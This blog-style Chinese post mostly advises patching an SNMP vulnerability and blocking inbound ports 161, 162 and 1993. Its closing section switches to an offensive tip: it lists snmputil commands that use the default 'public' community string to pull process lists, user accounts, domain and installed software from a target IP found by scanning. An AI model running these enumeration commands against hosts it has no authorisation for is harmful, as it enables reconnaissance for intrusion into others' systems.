使用简单网络管理协议（SNMP）的网络面临被黑客入侵的威胁，在没有任何征兆的情况下，入侵者可以完全接管你的网络，控制网络的通信流，或者扰乱网络中的正常事务。幸运的是，此问题的解决方案已经公布，虽然实施过程比较单调乏味，不过修补该漏洞的过程还是相当简单的。
SNMP是TCP/IP网络中标准的管理协议，它允许网络中的各种设备和软件，包括交换机，路由器，防火墙，集线器，甚至操作系统，服务器产品和部件等，能与管理软件通信，汇报其当前的行为和状态。但是，SNMP还能被用于控制这些设备和产品，重定向通信流，改变通信数据包的优先级，甚至断开通信连接。总之，入侵者如果具备相应能力，他就能完全接管您的网络。
为了保护网络，您应该完成如下的步骤。首先，为了确保网络安全，在安装网络设备和软件供应商提供的相应补丁前，关闭SNMP，要仔细检查网络中每台运行了SNMP的路由器，交换机，集线器和服务器，以及各个应用软件的SNMP是否关闭。
第二步，在开启SNMP之前，为所有设备和软件的各个部分下载并安装补丁程序。Cisco是制造了85%的网络硬件设备的供应商，今天它已经承诺会对此漏洞进行修补，另外还有一些供应商已经发布了针对此漏洞的补丁。
第三步，确保防火墙已设置成阻断外网对内网的SNMP访问。一定要注意，可能防火墙也开启了SNMP，因此，还应该确保防火墙也安装了相应补丁程序。为了阻断外网对内网的SNMP访问，SANS Institute建议关闭外网对内网TCP和UDP端口161、162的访问，对Cisco产品来说，还应关闭外网对内网UDP端口1993的访问。如果您的企业在防火墙之外还拥有网络设备，而这些设备又必须使用SNMP（如英特网路由器），那么要首先确保这些设备都安装了相应补丁。
注意，并不是只有硬件设备才有这类SNMP漏洞。Windows （不包括XP），Linux，某些版本的Unix，某些邮件服务器和商用服务器，以及一些管理工具包括HP OpenView和 CA Unicenter等也存在这一漏洞。这意味着如果您平常使用的是网络管理工具监视和控制网络，那么，在所有设备和应用都安装了针对该漏洞的补丁之前，您可能必须要使用人工对网络进行监控。
另一方面，如果您能确保防火墙的设置是正确的，而且防火墙本身没有漏洞，那么可能您花费的时间会少一点。但您还应该监控防火墙之后的所有设备和软件以及防火墙本身，要确保您的网络不是入侵者的目标，还要确保每个可能的英特网接入点都在防火墙的保护之中。
相信大家在用x-scan的时候绝对有扫倒snmp弱口令 public的时候 ,但是很少有人关注它 ,不知道怎么利用，现在我就说一下他的用途, 他能够泄漏很多主机信息
工具要用到 [snmputil]
集体的 命令在dos下运行 有提示 命令 重要的我写出来了
snmputil walk 对方ip public .1.3.6.1.2.1.25.4.2.1.2 列出系统进程
snmputil walk 对方ip public .1.3.6.1.4.1.77.1.2.25.1.1 列系统用户列表
snmputil get 对方ip public .1.3.6.1.4.1.77.1.4.1.0 列出域名
snmputil walk 对方ip public .1.3.6.1.2.1.25.6.3.1.2 列出安装的软件
snmputil walk 对方ip public .1.3.6.1.2.1.1 列出系统信息
阅读(815) | 评论(0) | 转发(0) |
